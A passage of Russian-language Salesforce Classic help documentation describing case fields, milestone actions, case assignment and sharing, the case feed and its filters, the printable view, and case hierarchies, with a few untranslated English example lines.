формат. Номера обращений присваиваются в порядке
увеличения, но иногда некоторые номера могут выпадать
из последовательности.

Пользователь, назначенный владельцем обращения.Ответственный за обращение

Имя поля, в котором определяются значения
раскрывающегося списка для выбора, доступные для

Тип записи обращения

обращения. Типы записей часто связаны с процессом
поддержки.

Указывает, закрыл ли контакт обращение, используя для
этого веб-портал. Это поле доступно только для чтения.

Закрыто пользователем портала самообслуживания

Указывает, было ли обращение закрыто при создании с
помощью кнопки «Сохранить и закрыть». Это поле
доступно только для чтения.

Закрыто при создании

Адрес электронной почты для контакта обращения. Этот
адрес добавляетсяпридобавленииконтакта к обращению.
Это поле доступно только для чтения.

Адрес эл. почты контакта

Номер мобильного телефона контакта обращения. Этот
номер добавляется при добавлении к контакту к
обращению. Это поле доступно только для чтения.

Мобильный тел. контакта

Имя контакта обращения.Имя контакта
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ОписаниеПоле

Номер телефона контакта обращения. Этот номер
добавляется при добавлении к контакту к обращению. Это
поле доступно только для чтения.

Тел. контакта

Пользователь, создавшийобращение, а также дата и время
создания. Это поле доступно только для чтения.

Создано

Приводит список настраиваемых ссылок для обращений,
созданных администратором.

Настраиваемые ссылки

Дата и время закрытия обращения. Это поле доступно
только для чтения.

Дата/время закрытия

Дата и время открытия обращения. Это поле доступно
только для чтения.

Дата/время открытия

Описание обращения. Обычно оно является запросом
клиента или отзывом. В этом поле может размещаться до

Описание

32 КБайт данных, однако в отчетах отображаются только
первые 255 символов.

Название права, добавленное к обращению. Доступно,
только если права настроены.

Имя права

Время входа обращения в процесс права. Время можно
обновить или сбросить при наличии полномочия

Время начала процесса права

«Редактирование» для обращений. Ниже перечислены
действия, выполняемые при сбросе времени.

• Закрытые или выполненные контрольные точки не
изменяются.

• Невыполненныеконтрольныеточкипересчитываются
на основе нового времени начала.

Если процесс назначения применим к обращению,
появляется это поле.

Времявыходаобращенияизпроцессаправа.Еслипроцесс
назначения применим к обращению, появляется это поле.

Время окончания процесса права

Внутренниепримечания, связанныесобращением. Каждый
комментарий может содержать до 4 КБ данных и

Внутренние комментарии

отображается в связанном списке «Комментарии к
обращению». Комментарии, отмеченныеметкой «общий»,
могут отображаться на веб-порталах.

Контрольная точка представляет собой шаг в процессе
права. Если процесс назначения применим к обращению,
появляется это поле.

Статус контрольной точки

2392

ОбращенияПоддержка клиентов



ОписаниеПоле

Данное поле обозначает статус контрольной точки
обращения одним из указанных ниже значков.

Значок статуса контрольной точки

•  «Совместимо»

•  «Открыто с нарушением»

•  «Закрыто с нарушением»

Если процесс назначения применим к обращению,
появляется это поле.

Пользователь, который изменил обращение последним,
за исключением любых изменений, вносимых в элементы

Изменено

связанного списка обращения. Это поле также содержит
дату и время изменения. Это поле доступно только для
чтения.

Источник обращения (например, реклама, партнер или
Интернет). Администраторы устанавливают значения

Происхождение

полей, при этом каждое поле может содержать до 40
символов. При редактировании обращение, созданное
сообществом при помощи быстрых действий, следует
добавить источник, поскольку он не устанавливается по
умолчанию.

Обращение, расположенное над одним или несколькими
связанными обращениями в иерархии обращений. Номер

Родительское обращение

обращения позволяет идентифицировать родительское
обращение, а родительское обращение должно
существовать до момента его добавления в другое
обращение.

Срочность обращения. Администраторы устанавливают
значения полей, при этом каждое поле может содержать
до 20 символов.

Приоритет

Имя продукта обращения. Это поле доступно, только если
права настроены так, чтобы включать продукты.

Продукт

Запрос на вкладке «Вопросы и ответы», который связан с
обращением. Данное поле заполняется при создании

Вопрос

обращения на основе вопроса или расширении вопроса
до обращения.

Причина создания обращения. Администраторы
устанавливают значения полей.

Причина

Статус обращения, например открытое или закрытое.
Администраторы устанавливают значения полей.

Статус

Позволяет остановить процесс права в обращении, что
может потребоваться при ожидании ответа клиента.

Остановлено
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ОписаниеПоле

Процесс права может останавливаться не более 300 раз.
Если процесс назначения применим к обращению,
появляется это поле.

Данное поле отображает дату и время остановки процесса
права, выполняемого для обращения. Если процесс
назначения применим к обращению, появляется это поле.

Дата остановки

Краткоеописаниевопросаилиотзыва заказчика, например
«Вывод ошибки при печати из Internet Explorer».

Тема

Длительность обращения определяется временем
выполнения контрольных точек процесса права. Чтобы

Временная шкала

просмотреть сведения о любой контрольной точке,
щелкнитенужнуюконтрольнуюточкуилинаведитенанее
указатель мыши. Контрольные точки представлены
следующими значками.

•

Выполненная контрольная точка

•

Нарушенная контрольная точка

Чтобы просмотреть прошедшие и предстоящие

контрольные точки, переместите значок руки ( ) вдоль
инструмента «Масштаб временнойшкалы». Данное поле
отображается в случае применения процесса права к
обращению.

Тип обращения (например, «Вопрос» или «Проблема»).
Администраторы устанавливают значения полей.

Тип

Указывает, видимо ли обращение пользователям
веб-портала. Если вы хотите, чтобы веб-обращения были

Отображается на портале самообслуживания

видимы на портале, включите это поле в настройке
Web-to-Case.

Имякомпании, указанноеклиентом, создавшимобращение
с помощьюфункций Web-to-Case или Email-to-Case.

Веб-компания

Адрес эл. почты, указанный клиентом, создавшим
обращение с помощьюфункций Web-to-Case или
Email-to-Case.

Веб-адрес

Имя клиента, указанное клиентом, создавшим обращение
с помощьюфункций Web-to-Case или Email-to-Case.

Веб-имя
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ОписаниеПоле

Номер телефона, указанный клиентом, создавшим
обращение с помощьюфункций Web-to-Case или
Email-to-Case.

Веб-телефон

СМ. ТАКЖЕ:

Рекомендации по работе с обращениями

Как вычисляется параметр «Продолжительность» в отчетах по обращениям?

Продолжительность открытого обращения — это период с момента его создания до настоящего времени.
Продолжительность закрытого обращения — это период с момента его создания и до закрытия. Отчетыпо обращениям
содержат раскрывающийся список «Единицы», которыйпозволяет просматриватьпродолжительность в днях, часах или
минутах.

СМ. ТАКЖЕ:

Поля обращений

Функция Web-to-Case. Вопросы и ответы

Использование связанного списка «Контрольные точки обращения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Дляпросмотра контрольных
точек обращения:
• «Чтение» для

обращений

Для редактирования
контрольных точек
обращения:
• «Редактирование» для

обращений

Связанныйсписок «Контрольныеточкиобращения» настраницесведенийобобращении
содержит контрольные точки, автоматическое выполнение которых обеспечивается
процессом права. Контрольные точки — это обязательные этапы процесса поддержки.
Контрольные точки — это показатели, определяющие уровни предоставляемого
клиентамобслуживания. Например, контрольнымиточками считаются времяотправки
первого ответа и время принятия решения по обращению.

Прим.:

• Сообщение «Записи для отображения отсутствуют» отображаетсявсвязанном
списке в случае отсутствия контрольных точек обращения.

• Связанный список содержит поля, выбранные для отображения на основе
бизнес-процессов компании. В зависимости от требований, предъявляемых
компанией, пользователю могут быть доступны все или только некоторые
указанные ниже поля.

Действие
Список действий, доступных для выполнения в контрольных точках. Например,
пользовательсполномочием «Редактирование» дляобращенийможетнажатькнопку
«Правка» и выбрать дату завершения контрольной точки.

Прим.: Пользователиклиентскогопорталанемогутредактироватьконтрольные
точки обращения.
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Контрольная точка
Имя набора действий в процессе права, применяемом к обращению. Пользователь с полномочием «Управление
правами» может выбрать имя контрольной точки и просмотреть процесс права, критерии обращения, триггеры
времени и связанные действия.

В таблице ниже представлены типы действий, связанных с контрольными точками.

ОписаниеТип действия

Действия, которые должны быть выполнены при успешном завершении
контрольной точки. Success actions still fire on milestones that are closed late.

Действия успешного завершения

Действия, которые необходимо выполнить при возможном нарушении
контрольной точки.

Действия предупреждения

Действия, которые необходимо выполнить при нарушении контрольной
точки.

Действия нарушения

Ниже перечислены типы действий, которые могут выполняться в контрольных точках автоматически.

ПримерВыполняемые функцииДействие бизнес-правила

Create a task for a support agent to call a
customer when a First Response milestone
is violated.

Создание задачи бизнес-правилаСоздать задачу

Notify case owners when a First Response
milestone on their case is near violation.

Создание электронного
предупреждения

Создать сообщение эл. почты

Update the case Priority field to High
when a First Response milestone is near
violation.

Определение обновления поляСоздать обновление поля

Send data about parts or services to an
external system after a First Response
milestone is completed.

ОпределениеисходящегосообщенияСоздать исходящее сообщение

Использование текущего
электронного предупреждения для

Выбор текущего действияВыбрать текущее действие

уведомления ответственного за
обращение, если обращение близко
к нарушению правила отправки
первого ответа.

Дата начала
Дата и время начала отслеживания контрольной точки.

Целевая дата
Дата и время, к которым выполнение контрольной точки должно быть завершено.

Дата завершения
Дата и время завершения выполнения контрольной точки.
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Целевой ответ
Время, к которому выполнение контрольной точки должно быть завершено. Это время определяется автоматически
с учетом всех часов работыпо данному обращению.В зависимости от требований, предъявляемых компанией, время
может отображаться в минутах, часах или днях.

Оставшееся время
Время, оставшееся до момента нарушения контрольной точки. Это время определяется автоматически с учетом всех
часов работы по данному обращению. В зависимости от требований, предъявляемых компанией, время может
отображаться в минутах, часах или днях.

Затраченное время
Время, затраченное на выполнение контрольной точки. Это время определяется автоматически с учетом всех часов
работы по данному обращению. Значение поля «Затраченное время» вычисляется только после заполнения поля
«Дата завершения». В зависимости от требований, предъявляемых компанией, время может отображаться в минутах,
часах или днях.

Нарушение
Значок ( ), обозначающий нарушенную контрольную точку.

Время после целевого ответа
Время, прошедшеепосле нарушения контрольной точки. Это время определяется автоматически с учетом всех часов
работы по данному обращению. Время может отображаться в днях, часах и минутах или минутах и секундах.

Завершено
Значок ( ), обозначающий выполненную контрольную точку.

Выполненные контрольные точки, являющиеся частью журнала обращения, остаются в обращении даже в случае
их неприменимости.

СМ. ТАКЖЕ:

Поля обращений

Что такое управление правами?
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Назначение обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Параметры назначения
обращения определяются
используемой версией
Salesforce.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращений:
• «Чтение» для

обращений

Для принятия
ответственности за
обращения, доступные в
очереди:
• «Редактирование» для

обращений

Обращения могут быть назначены пользователям или очередям разными способами.

• Использование правила назначения дляфункции Web-to-Case, Email-to-Case
или On-Demand Email-to-Case

Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и
Developer Edition поддерживают автоматическое назначение обращений, созданных
посредством Интернета или эл. почты, пользователям или очередям на основе
критериев, заданных в активном правиле назначения.

Обращения, которыенесоответствуюткритериямправиланазначения, автоматически
назначаются пользователю, указанному в поле «Ответственный за обращение по
умолчанию» на странице «Параметры поддержки».

• Использование правила назначения при создании или редактировании
обращения

Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и
Developer Edition позволяют устанавливать флажок автоматического назначения
обращения посредством активного правила назначения при создании или
редактировании обращения. Сообщение эл. почты автоматически отправляется
новому ответственному, если запись правила соответствия содержит шаблон эл.
почты. Чтобыустановитьданныйфлажокпоумолчанию, администраторорганизации
должен изменить соответствующий макет страницы. При необходимости
администратор может отредактировать макет страницы для скрытия флажка
назначения, которое не повлияет на выполнение правил назначения обращений.

• Смена ответственности за несколько обращений (только для администраторов)

Администраторилипользовательсполномочием «Управлениеобращениями» можетвручнуюназначитькакминимум
одно обращение отдельному пользователю или очереди на любой странице со списком обращений.

• Принятие ответственности за обращения из очереди

Чтобы принять ответственность за обращения, доступные в очереди, откройте списковое представление очереди,
установите флажки напротив нужных обращений и нажмите кнопку «Принять».

Прим.: Модель единогообщегодоступа кобъектуопределяет уровеньдоступапользователейк записямданного
объекта в очередях.

Общедоступный: для чтения, записи и переноса
Пользователи могут просматривать и принимать ответственность за записи, доступные в любых очередях.

Общедоступный: для чтения и записи илиОбщедоступный: только для чтения
Пользователи могут просматривать любые очереди, но принимать ответственность только за записи,
доступныевочередях, участникамикоторыхониявляются, или, в зависимостиотпараметровобщегодоступа,
за записи, принадлежащие нижестоящим участникам очереди в иерархии ролей или территорий.

Личный
Пользователимогут толькопросматриватьипринимать записи, доступныевочередях, участникамикоторых
они являются, или, в зависимости от параметров общего доступа, записи, принадлежащие нижестоящим
участникам очереди в иерархии ролей или территорий.

Независимо от модели общего доступа, пользователи могут принимать ответственность за записи, доступные
вочередях, участникамикоторыхониявляются, толькоприналичииполномочия «Редактирование». Независимо
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отмоделиобщегодоступаилиих участия вочередях, администраторы, пользователисполномочием «Изменить
все» дляобращенийипользователисполномочием «Изменениевсехданных» могутпросматриватьипринимать
записи, доступные в любых очередях.

• Смена ответственности за отдельное обращение

Чтобы выполнить перенос отдельного собственного обращения или обращения, доступного для чтения и записи,
щелкнитессылку«Изменить»напротивполя «Ответственный за обращение» настраницесведенийобобращении
и выберите нужного пользователя, пользователя-партнера или очередь. Убедитесь, что новому ответственному
предоставленополномочие «Чтение» дляобращений. Ссылка«Изменить»отображаетсятольконастраницесведений
и недоступна на странице редактирования.

Чтобыотправитьновомуответственномуавтоматическое электронное уведомление, установитефлажок «Отправить
электронное уведомление» в версии Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition, Performance
Edition или Developer Edition.

• Создание обращения вручную (стандартное назначение)

Ответственностьзаобращение, созданноенавкладке «Обращения», автоматическиназначаетсятекущемупользователю,
кроме случаев отображенияфлажка правила назначения и его установки для включения правила назначения. Чтобы
переопределить правило назначения и назначить ответственность самому себе, снимитефлажок, установленный по
умолчанию.

СМ. ТАКЖЕ:

Рекомендации по работе с обращениями

Пакетное изменение обращений

Предоставление общего доступа к обращениям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращений:
• «Чтение» для

обращений

Стандартная модель общего доступа организации определяется администратором.
Данная модель может быть расширена с целью предоставления доступа большему
количеству пользователей. Модель общего доступа определяет самый строгий
стандартный уровень, который может быть только расширен.

Для просмотра и управления сведениями об общем доступе нажмите кнопку «Общий
доступ» на странице сведений об обращении. Страница «Сведения об общем доступе»
содержит список пользователей, групп, ролей и территорий, имеющих общий доступ
к обращению. Ниже перечислены действия, доступные на данной странице.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.Чтобы изменить или удалить любое созданное представление,
выберите еговраскрывающемсясписке «Просмотр» ищелкнитессылку «Правка».

• Чтобыпредоставитьдругимпользователям, группам, ролямилитерриториямдоступ
к записи, нажмите кнопку «Добавить».

Прим.: Чтобы предоставить другому пользователю доступ к обращению,
рекомендуемпредоставитьэтомупользователюдоступксвязаннойорганизации
и полномочие «Чтение» для обращений.

• Чтобы просмотреть всех пользователей, имеющих доступ к записи, нажмите кнопку «Развернуть список».
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• Чтобы изменить или удалить уровень доступа, щелкните ссылку «Правка» или «Удал.» напротив нужного элемента
списка при использовании созданных правил общего доступа, предоставляемого вручную.

СМ. ТАКЖЕ:

Обращения

Лента обращений

Общие сведения о ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Лента обращений — это усовершенствованное средство создания, управления и
просмотра обращений, доступное агентам службы поддержки. Она содержит действия
и ленту Chatter. Действия позволяют агентам создавать примечания к обращениям,
регистрировать вызовы, изменять статусыобращенийивзаимодействовать с клиентами.
Лента содержит важные события, отображающиеся в хронологическом порядке, и
позволяет отслеживать каждое обращение.

Похожая страница отображается агентам, назначенным макету страницы «Лента
обращений», при каждом просмотре обращения.

• Панель основных показателей (1): данная область содержит наиболее важную информацию об обращении
(например, контактныеданные, имя, описание, статусиприоритетобращения, а такжеответственного за обращение).
Разделы панели основных показателей поддерживают возможность масштабирования и позволяют агентам
просматривать другие важные сведения.

• Представлениелентыиподробноепредставление (2): агентымогутбыстропереключатьсямеждупредставлением
ленты, содержащим публикатор и ленту, и подробным представлением, содержащим другие подробные сведения и
связанные списки.
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• Публикатор (3): даннаяобластьсодержитдействия, доступныеагентамприобработкеобращений (например, действия
«Эл. почта», «Примечание к обращению» и «Изменить статус»).

• Инструмент «Статьи» (4): данная область позволяет агентам искать полезные статьи базы знаний и добавлять их в
обращение или отправлять клиентам по эл. почте.

• Фильтрыленты (5): даннаяобластьпозволяетагентамускоритьпоискнужнойинформациивлентепутемограничения
отображаемых элементов ленты.

• Лента (6): даннаяобластьпозволяетпросматриватьжурналобращениявхронологическомпорядке. Нижеперечислены
события, инициирующие создание элементов ленты.

– Входящие и исходящие сообщения эл. почты, связанные с обращением

– Комментарии, связанные с обращением на клиентском портале или в Chatter Answers

– Вызовы, зарегистрированные для обращения

– Изменения, внесенные в статус обращения

– Комментарии, добавленные к обращению

– Ссылки или поля, добавленные в обращение

– Действия контрольной точки, связанные с обращением

– Действия над обращением, инициированные событиями бизнес-правила

– Новые задачи и события, связанные с обращениями

• Кнопка «Отслеживать» исписок «Отслеживающие» (7): кнопкапозволяетагентамначатьотслеживаниеобращения,
а список позволяет просмотреть имена других отслеживающих.

• Настраиваемыекнопкииссылки (8): даннаяобластьпредоставляетагентамдоступкдополнительныминструментам
и функциям.

Администраторы могут настраивать многие аспекты ленты обращений, включая перечисленные ниже.

• Поля панели основных показателей

• Отображаемые действия и их поля

• Доступные фильтры ленты и области их отображения на странице

• Ширина ленты

• Доступные инструменты, настраиваемые кнопки или настраиваемые ссылки и области их отображения на странице

СМ. ТАКЖЕ:

Лента обращений и связанные списки

Просмотр и редактирование обращений на странице сведений об обращении в ленте обращений
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Использование фильтров ленты в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Фильтры ленты позволяют агентам службы поддержки просматривать все обновления
одного типа (например, все журналы вызовов или все сообщения эл. почты) при работе
собращениямивлентеобращений. Благодаряфильтрам, агентымогутбыстреенаходить
нужную им информацию без просмотра каждого события, связанного с обращением.

Доступныефильтрыопределяютсяадминистраторамиприсозданииилиредактировании
макетов ленты.

• При выборе только фильтра «Все обновления» автоматически отображаются все
события, связанныесобращением, носкрывается списокотдельныхфильтровленты.
Данныйфильтрпозволяетагентамслужбыподдержкипросматриватьполныйжурнал
обращения.

• При выборе фильтров ленты только одного типа автоматически отображаются
события данного типа, связанные с обращением, но скрывается список отдельных фильтров ленты. Например, при
выборе фильтра типа «Все сообщения эл. почты» лента каждого обращения отображает связанные сообщения
эл. почты, но не отображает примечания к обращениям, ответы на портале или другие действия. Данный способ
фильтрации рекомендован агентам, оказывающим поддержку по одному каналу (телефон, эл. почта или портал), а
также нуждающимся в доступе к связанным событиям только для соответствующего канала.

• Привыборефильтровлентыразноготипаавтоматическиотображаетсясписокдоступныхфильтровналевойбоковой
панели страницы «Лента обращений» илинад лентой в центре страницы, где первыйфильтр выбран по умолчанию.
Например, привыборефильтровтипа «Все сообщения эл. почты», «Изменения статуса» и «Ответы на портале»
лента каждого обращения по умолчанию отображает связанные сообщения эл. почты. Чтобы просмотреть другие
типы связанных событий, пользователь должен выбрать соответствующийфильтр. Данный способ фильтрации
рекомендован агентам, оказывающим поддержку по одному каналу, а также нуждающимся в доступе к другим типам
обновлений.

Кроме того, администраторы могут определить область и способ отображения списка фильтров ленты.

• Фиксированный список в левом столбце.

• Плавающий список в левом столбце. Данный способ позволяет всегда отображать список фильтров ленты при
прокручиваниистраницы. Рекомендуемиспользоватьданныйспособприработе сдлиннымилентами, так как агенты
получают возможность быстрой фильтрации связанных действий в любой области страницы.

• Раскрывающийся список в среднем столбце.

• Встроенные ссылки в представлении компактной ленты. Данный параметр доступен только для представления
компактной ленты.

СМ. ТАКЖЕ:

Общие сведения о ленте обращений
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Лента обращений и связанные списки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Традиционныйинтерфейсобращенияпозволяет агентамслужбыподдержкивыполнять
задачи (например, регистрация вызовов и отправка сообщений эл. почты) посредством
связанных списков. Лента обращений позволяет агентам выполнять некоторые задачи
прямо в ленте.

Данный раздел рассматривает основные связанные списки, поддерживаемые
традиционныминтерфейсомобращения, доступныезадачииобластилентыобращений,
предназначенные для их выполнения.

Журнал действий

Функция ленты обращений, используемая
агентами для выполнения данной задачи

Задача

Действие «Записать вызов в журнал» в публикатореРегистрация вызова

Элементы ленты типа «Журнал вызовов»Просмотржурналоввызовов

Созданиеиотправкаответов
на сообщения эл. почты
клиентов

• Действие «Эл. почта» в публикаторе

• Связанный список «Сообщения эл. почты»

Просмотр сообщений эл.
почты

• Элементы ленты типа «Эл. почта»

• Связанный список «Журнал действий»

• Связанный список «Сообщения эл. почты»

Журнал утверждений

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Связанный список «Журнал утверждений»Отправка обращения на утверждение

Связанный список «Журнал утверждений»Просмотр журнала утверждений

Вложения

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Вложение файлов в обращение • Инструмент «Статьи» (для вложения статей Salesforce Knowledge)

• Связанный список «Вложения»

Вложениефайловвсообщениеэл. почты • Действие «Эл. почта» в публикаторе

• Связанный список «Сообщения эл. почты»
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Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Просмотр файлов, вложенных в
обращение

• Элементы ленты типа «Вложение»

• Связанный список «Вложения»

Прим.: Вложения данных примечаний не добавляются в связанный список «Вложения».

Комментарии к обращению

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Действие «Сообщение» в публикаторе

Личные комментарии заменены в ленте обращенийпримечаниями, которые
являются сообщениями Chatter и недоступны в связанных списках
«Комментарии к обращению».

Создание внутреннего примечания к
обращению

Элементы ленты типа «Сообщение»Просмотр примечаний к обращению

Действие «Портал» в публикатореСозданиеобщедоступногокомментария
клиента

Элементы ленты типа «Портал»Просмотробщедоступногокомментария
клиента

Журнал обращения

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Элементы ленты для действий над обращениемПросмотр журнала обращения

Группа, работающая с обращениями

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Связанный список «Группа, работающая с обращениями»Создание группы, работающей с
обращениями

Связанный список «Группа, работающая с обращениями»Просмотр группы, работающей с
обращениями

Роли контакта
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Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Связанный список «Роли контакта»Создание ролей контакта

Связанный список «Роли контакта»Просмотр ролей контакта

Действие «Эл. почта» в публикатореСоздание и отправка ответов на
сообщения эл. почты клиентов

Доставки содержимого

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Связанный список «Доставки содержимого»Просмотр или предварительный
просмотр содержимого

Связанный список «Доставки содержимого»Создание и доставка содержимого

Сообщения эл. почты

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Создание сообщений эл. почты
клиентов

• Действие «Эл. почта» в публикаторе

• Связанный список «Сообщения эл. почты»

Просмотр сообщений эл. почты • Элементы ленты типа «Эл. почта»

• Связанный список «Журнал действий»

• Связанный список «Сообщения эл. почты»

Открытые действия

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Создание и редактирование задач • Действие «Создать задачу» в публикаторе

• Связанный список «Открытые действия»

Просмотр задач • Элементылентытипа «Задача» (для задач, созданныхпосредствомдействия
«Создать задачу»)

• Связанный список «Открытые действия»

Создание и редактирование событий • Действие «Создать событие» в публикаторе
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Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

• Связанный список «Открытые действия»

Просмотр событий • Элементы ленты типа «Задача» (для событий, созданных посредством
действия «Создать событие»)

• Связанный список «Открытые действия»

Связанные обращения

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Создание и редактирование связанных
обращений

• Действие «Создать дочернее обращение» в публикаторе

• Связанный список «Связанные обращения»

Просмотр связанных обращений • Элементылентытипа «Связанноеобращение» (дляобращений, созданных
посредством действия «Создать дочернее обращение»)

• Связанный список «Связанные обращения»

Решения

Функция ленты обращений, используемая агентами для выполнения
данной задачи

Задача

Связанный список «Решения»Просмотр предложенных решений

Связанный список «Решения»Поиск решений

СМ. ТАКЖЕ:

Просмотр и редактирование обращений на странице сведений об обращении в ленте обращений

Версия для печати в ленте обращений
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Версия для печати в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Версия для печати позволяет просмотреть и распечатать подробный список сведений,
связанных с обращением.

Ниже указан порядок отображения сведений в версии для печати, открывающейся при
нажатии значка на любой странице «Лента обращений».

1. Сведения об обращении

2. Содержимое связанных списков, доступных на странице сведений об обращении

3. Внутренние примечания

Примечания и рекомендации
• Взависимостиот связанныхсписков, доступныхна странице сведенийобобращении, некоторые события (например,

сообщения эл. почты и зарегистрированные вызовы) могут отсутствовать в версии для печати. Чтобы добавить
сообщения эл. почты и журналы вызовов в версию для печати, настройте макеты страницы сведений об обращении,
разрешив пользователям ленты обращений добавлять связанный список «Журнал действий». Чтобы добавить
общедоступные сообщения портала, добавьте связанный список «Комментарии к обращению».

• Внутренние примечания отображаются в разделе «Chatter» версии для печати.

• Пустые связанные списки не отображаются в версии для печати (даже в том случае, если они добавлены в макет
страницы сведений об обращении).

• Настраиваемые ссылки и кнопки, используемые в макете страницы сведений об обращении, отображаются в разделе
сведений об обращении, который доступен в версии для печати.

• Версия для печати содержит по 500 последних сообщений с внутренними примечаниями, ссылками и документами,
а также по 100 последних комментариев для каждого из этих сообщений.

СМ. ТАКЖЕ:

Просмотр и редактирование обращений на странице сведений об обращении в ленте обращений
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Просмотр и редактирование обращений на странице сведений об обращении в ленте
обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращения:
• «Просмотр» для

обращений

Для редактирования
обращения:
• «Редактирование» для

обращений

Для удаления обращения:
• «Удаление» для

обращений

Страница сведений об обращении позволяет просматривать и обновлять подробные
сведения об обращении, а также работать со связанными списками.

Ниже перечислены действия, доступные на странице сведений об обращении.

• Просмотриредактирование сведенийобобращении, включаяизменение сведений
об организации и контакте, а также статуса, происхождения, приоритета, типа и
причины обращения.

• Изменение или обновление темы и описания обращения.

• Просмотрсвязанныхсписковиихиспользованиедлявыполнениядополнительных
задач (например, просмотр журнала утверждений для обращения или добавление
участников в группу, работающую с обращениями).

• Закрытие обращения.

Прим.: Если организация использует функцию встроенного редактирования, то
она может использоваться на странице сведений об обращении.

Для переключения между представлением ленты и страницей сведений об обращении
при просмотре обращения рекомендуем использовать кнопки

или — при использовании консоли Salesforce — кнопки

.

Чтобы открыть печатную версию сведений об обращении, щелкните ссылку «Версия
для печати» на любой странице в ленте обращений.

СМ. ТАКЖЕ:

Общие сведения о ленте обращений
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Иерархии обращений

Просмотр иерархий обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращений:
• «Чтение» для

обращений

Для просмотра
родительских обращений:
• «Чтение» для

обращений

Иерархия обращений содержит обращения, связанные друг с другомпосредствомполя
«Родительское обращение». Если обращение связано с родительским обращением, то
данное поле отображает взаимосвязь между обращениями (например, группировка
похожих обращений для удобного отслеживания или деление одного обращения на
несколько обращений для назначения разным пользователям).Иерархия обращений
отображает взаимосвязьмеждуобращениямиирасположеннымивышеродительскими
обращениями.

• Чтобыпросмотреть иерархию, щелкните ссылку «Просмотриерархии»напротив
поля «Номер обращения» на странице сведений об обращении.

• Чтобы указать взаимосвязь между обращениями, измените нужное обращение и
введитеномерродительскогообращениявполе «Родительское обращение». Чтобы
найти нужное обращение по номеру, щелкните значок поиска.

Прим.: Поле «Родительское обращение» позволяет добавлять и сохранять
только существующие родительские обращения.

• Чтобы создать обращение, которое автоматически связывается с просматриваемым
обращением, нажмитекнопку«Создать»всвязанномсписке «Связанныеобращения».
Раскрывающаяся кнопка «Создать» позволяет создавать пустые обращения или
клонировать родительские обращения.

СМ. ТАКЖЕ:

Рекомендации по работе с обращениями
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Связанные обращения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращений:
• «Чтение» для

обращений

Для создания обращений:
• «Создание» для

обращений

В зависимости от параметров, заданных администратором, страницы сведений об
обращенияхмогутсодержатьсвязанныйсписок «Связанныеобращения», отображающий
все подчиненные обращения в иерархии обращений. Обращения могут быть связаны
друг с другом посредством поля поиска «Родительское обращение» на странице
редактирования обращения. Если обращение связано с родительским обращением, то
данное поле отображает взаимосвязь между обращениями (например, группировка
похожих обращений для удобного отслеживания или деление одного обращения на
несколько обращений для назначения разным пользователям).

Ниже перечислены элементы интерфейса, доступные в связанном списке «Связанные
обращения».

• «Правка» для изменения текущего обращения.

• «Закр.» для закрытия текущего обращения.

Чтобы выполнить пакетное действие в связанном списке «Связанные обращения»,
установите флажки напротив нужных обращений и нажмите кнопку:

• «Закрыть» для закрытия выбранных обращений.

• «Изменитьответственного»дляназначенияобращенийвыбранномупользователю
или очереди.

• «Изменить статус» для изменения значения поля обращения «Статус».

СМ. ТАКЖЕ:

Просмотр иерархий обращений
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Разрешение запросов клиентов

Принятие решений по запросам клиентов

Принятие решений по обращениям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для принятия решений по
обращениям:
• «Редактирование» для

обращений

И

«Чтение» для решений

Чтобы принять решение по обращению, выполните указанные ниже действия.

